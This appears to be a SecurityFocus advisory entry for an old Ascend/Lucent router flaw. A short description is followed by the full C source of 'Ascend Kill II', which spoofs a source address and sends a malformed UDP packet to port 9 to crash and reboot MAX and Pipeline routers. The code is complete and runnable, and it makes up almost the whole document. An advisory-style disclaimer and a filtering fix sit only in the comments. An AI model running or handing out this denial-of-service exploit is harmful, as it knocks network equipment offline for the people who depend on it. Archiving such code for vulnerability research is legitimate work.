source: http://www.securityfocus.com/bid/714/info

Certain versions of Ascends (Lucent) router software listen on port 9 (UDP Discard). Ascend provides configuration tools for MAX and Pipeline routers that locate locally installed routers by broadcasting a specially formatted packet to UDP port 9. An attacker can send a similar but malformed packet to the same port that will cause MAX and Pipeline routers running certain software versions to crash. 

                    /* Update, 3/20/98: Ascend has released 5.0Ap46 which corrects this bug.
                     * see ftp.ascend.com.
                     */
                     
                    /*
                     * Ascend Kill II - C version
                     *
                     * (C) 1998 Rootshell - http://www.rootshell.com/
                     *
                     * Released: 3/16/98
                     *
                     * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
                     * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
                     *
                     * Sends a specially constructed UDP packet on the discard port (9)
                     * which cause Ascend routers to reboot.  (Warning! Ascend routers will
                     * process these if they are broadcast packets.)
                     *
                     * Compiled under RedHat 5.0 with glibc.
                     *
                     * NOTE: This program is NOT to be used for malicous purposes.  This is
                     *       intenteded for educational purposes only.  By using this program
                     *       you agree to use this for lawfull purposes ONLY.
                     *
                     * It is worth mentioning that Ascend has known about this bug for quite
                     * some time.
                     *
                     * Fix:
                     *
                     * Filter inbound UDP on port 9.
                     *
                     */

                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <string.h>
                    #include <unistd.h>
                    #include <sys/types.h>
                    #include <sys/socket.h>
                    #include <netinet/in.h>
                    #include <netinet/in_systm.h>
                    #include <netinet/ip.h>
                    #include <linux/udp.h>
                    #include <netdb.h>

                    #define err(x) { fprintf(stderr, x); exit(1); }
                    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }

                    /* This magic packet was taken from the Java Configurator */
                    char ascend_data[] =
                      {
                        0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
                        0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                        0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
                        0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
                        0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
                        0x50, 0x41, 0x53, 0x53};


                    unsigned short 
                    in_cksum (addr, len)
                         u_short *addr;
                         int len;
                    {
                      register int nleft = len;
                      register u_short *w = addr;
                      register int sum = 0;
                      u_short answer = 0;

                      while (nleft > 1)
                        {
                          sum += *w++;
                          nleft -= 2;
                        }
                      if (nleft == 1)
                        {
                          *(u_char *) (&answer) = *(u_char *) w;
                          sum += answer;
                        }

                      sum = (sum >> 16) + (sum & 0xffff);
                      sum += (sum >> 16);
                      answer = ~sum;
                      return (answer);
                    }

                    int 
                    sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
                         struct sockaddr_in *sin;
                         unsigned short int s, datalen, sport, dport;
                         unsigned long int saddr, daddr;
                         char *data;
                    {
                      struct iphdr ip;
                      struct udphdr udp;
                      static char packet[8192];
                      char crashme[500];
                      int i;

                      ip.ihl = 5;
                      ip.version = 4;
                      ip.tos = rand () % 100;;
                      ip.tot_len = htons (28 + datalen);
                      ip.id = htons (31337 + (rand () % 100));
                      ip.frag_off = 0;
                      ip.ttl = 255;
                      ip.protocol = IPPROTO_UDP;
                      ip.check = 0;
                      ip.saddr = saddr;
                      ip.daddr = daddr;
                      ip.check = in_cksum ((char *) &ip, sizeof (ip));
                      udp.source = htons (sport);
                      udp.dest = htons (dport);
                      udp.len = htons (8 + datalen);
                      udp.check = (short) 0;
                      memcpy (packet, (char *) &ip, sizeof (ip));
                      memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
                      memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
                      /* Append random garbage to the packet, without this the router
                         will think this is a valid probe packet and reply. */
                      for (i = 0; i < 500; i++)
                        crashme[i] = rand () % 255;
                      memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
                      return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
                                      (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
                    }

                    unsigned int 
                    lookup (host)
                         char *host;
                    {
                      unsigned int addr;
                      struct hostent *he;

                      addr = inet_addr (host);
                      if (addr == -1)
                        {
                          he = gethostbyname (host);
                          if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
                            return 0;

                          bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
                        }
                      return (addr);
                    }

                    void
                    main (argc, argv)
                         int argc;
                         char **argv;
                    {
                      unsigned int saddr, daddr;
                      struct sockaddr_in sin;
                      int s, i;

                      if (argc != 3)
                        errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);

                      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
                        err ("Unable to open raw socket.\n");
                      if (!(saddr = lookup (argv[1])))
                        err ("Unable to lookup source address.\n");
                      if (!(daddr = lookup (argv[2])))
                        err ("Unable to lookup destination address.\n");
                      sin.sin_family = AF_INET;
                      sin.sin_port = 9;
                      sin.sin_addr.s_addr = daddr;
                      if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
                        {
                          perror ("sendpkt_udp");
                          err ("Error sending the UDP packet.\n");
                        }
                    }
